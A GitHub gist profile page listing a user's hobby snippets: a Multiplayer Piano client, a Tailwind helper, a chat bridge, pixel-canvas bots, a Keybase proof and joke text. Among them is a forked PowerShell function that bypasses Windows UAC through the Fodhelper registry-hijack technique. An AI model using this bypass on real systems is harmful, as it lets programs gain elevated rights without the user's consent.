Skip to content

Instantly share code, notes, and snippets.

View fucksophie's full-sized avatar
🤒
big gaming

sophie fucksophie

🤒
big gaming
View GitHub Profile
@fucksophie
fucksophie / client.ts
Created January 17, 2025 20:23
this is a typescript client for multiplayerpiano. it has fully compatiablity with every single message that MPP sends out. from all of the "custom" related stuff, to a notebuffer system. EVERYTHING.
import chalk from "chalk";
import EventEmitter from "wolfy87-eventemitter";
import type {
ChannelSettings,
ChatMessage,
ChChannelSettings,
Crown,
LSMessage,
Messages,
MessageTypes,
@fucksophie
fucksophie / combine.js
Created May 18, 2024 08:19
combine two lists of tailwind classes
function combineTailwind(first, second) {
const secondSplit = second.split(" ")
let classes = [];
const secondIds = secondSplit.map(z => z.split("-")[0]);
for(const defaultClass of first.split(" ")) {
if(!secondIds.includes(defaultClass.split("-")[0])) {
classes.push(defaultClass);
}
@fucksophie
fucksophie / index.js
Created August 21, 2023 17:37
switchcraft and matrix bridge :)
import { Client } from "switchchat";
import {Level} from "level"
import {
MatrixClient,
SimpleFsStorageProvider,
} from "matrix-bot-sdk";
const storage = new SimpleFsStorageProvider("server.json");
const client = new MatrixClient("https://matrix.yourfriend.lol", "", storage);
@fucksophie
fucksophie / fluidsim.md
Last active December 3, 2022 19:50
how 2 make fluid sim yf style

how to make a HTML fluid sim

hi this will be my first real blog thing i'll try to explainw hat i m doing

Boilerplate / Setup

we have to do some ep0c boilerplate.. first lets make a epic index.html and slap something like

@fucksophie
fucksophie / userRankings.ts
Created April 2, 2022 11:56
user rankings for a plot of pixels in r/place 2022
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
@fucksophie
fucksophie / FodhelperUACBypass.ps1
Last active January 2, 2022 14:46 — forked from netbiosX/FodhelperUACBypass.ps1
Bypass UAC via Fodhelper binary in Windows 10 systems
function FodhelperUACBypass(){
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
@fucksophie
fucksophie / keybase.md
Created December 25, 2021 10:27
keybase.md

Keybase proof

I hereby claim:

  • I am yourfriendoss on github.
  • I am yourfriend (https://keybase.io/yourfriend) on keybase.
  • I have a public key whose fingerprint is 133A 9696 26CC A8A9 1811 CF18 ADA0 EBCC 72B7 428E

To claim this, I am signing this object:

@fucksophie
fucksophie / index.js
Last active October 26, 2021 12:14
wow!@
console.log("Welcome to 💻!")
// Do the wordmark
// TODO: Make sure to make some kind of thing that automatically finds this.
const wordMark = document.querySelector("#app-mount > div.typeWindows-1za-n7.withFrame-haYltI.titleBar-AC4pGV.horizontalReverse-3tRjY7.flex-1O1GKY.directionRowReverse-m8IjIq.justifyStart-2NDFzi.alignStretch-DpGPf3 > div.wordmarkWindows-1v0lYD.wordmark-2iDDfm");
wordMark.textContent = "💻"
wordMark.style.fontSize = "16px"
wordMark.style.color = "white"
@fucksophie
fucksophie / index.js
Created August 28, 2021 19:29
wow anime owooop
import OJS from "owop-js"
import pkg from 'canvas';
const { createCanvas, loadImage } = pkg;
const img = await loadImage('300.png')
const canvas = createCanvas(img.width, img.height)
const ctx = canvas.getContext('2d')
let pos1 = [1 - img.width/2,
1 - img.height/2]
@fucksophie
fucksophie / Imposter Dataset.json
Created July 11, 2021 11:34
Fucking sus like imposter
[
"He says that he needs to be \"sus\" and is the \"impostor\".",
"My son KILLED my husband and told me that I can't \"report\" the body other wise the other crewmates will think he is \"sus\" and that he would be \"ejected\".",
"It's important to note that Reds commit nearly 52% of all the murders in Among Us, which is astounding when you take into consideration the fact that they make up 12-13% of the population",
"It gets even more astounding when you start considering the fact the bulk of Reds committing these murders are probably ages 8-18 which is probably around an estimated 6-7% of the population that means that around 7% of Among Us Players are committing around 50% of the murders.",
"If you're playing Among Us",
"\"Oh that looks kinda like the among us guy\" it started as",
"But I kept going, I'd see a fridge that looked like among us, I'd see an animated bag of chips that looked like among us, I'd see a hat that looked like among us",
"And every time I'd burst into a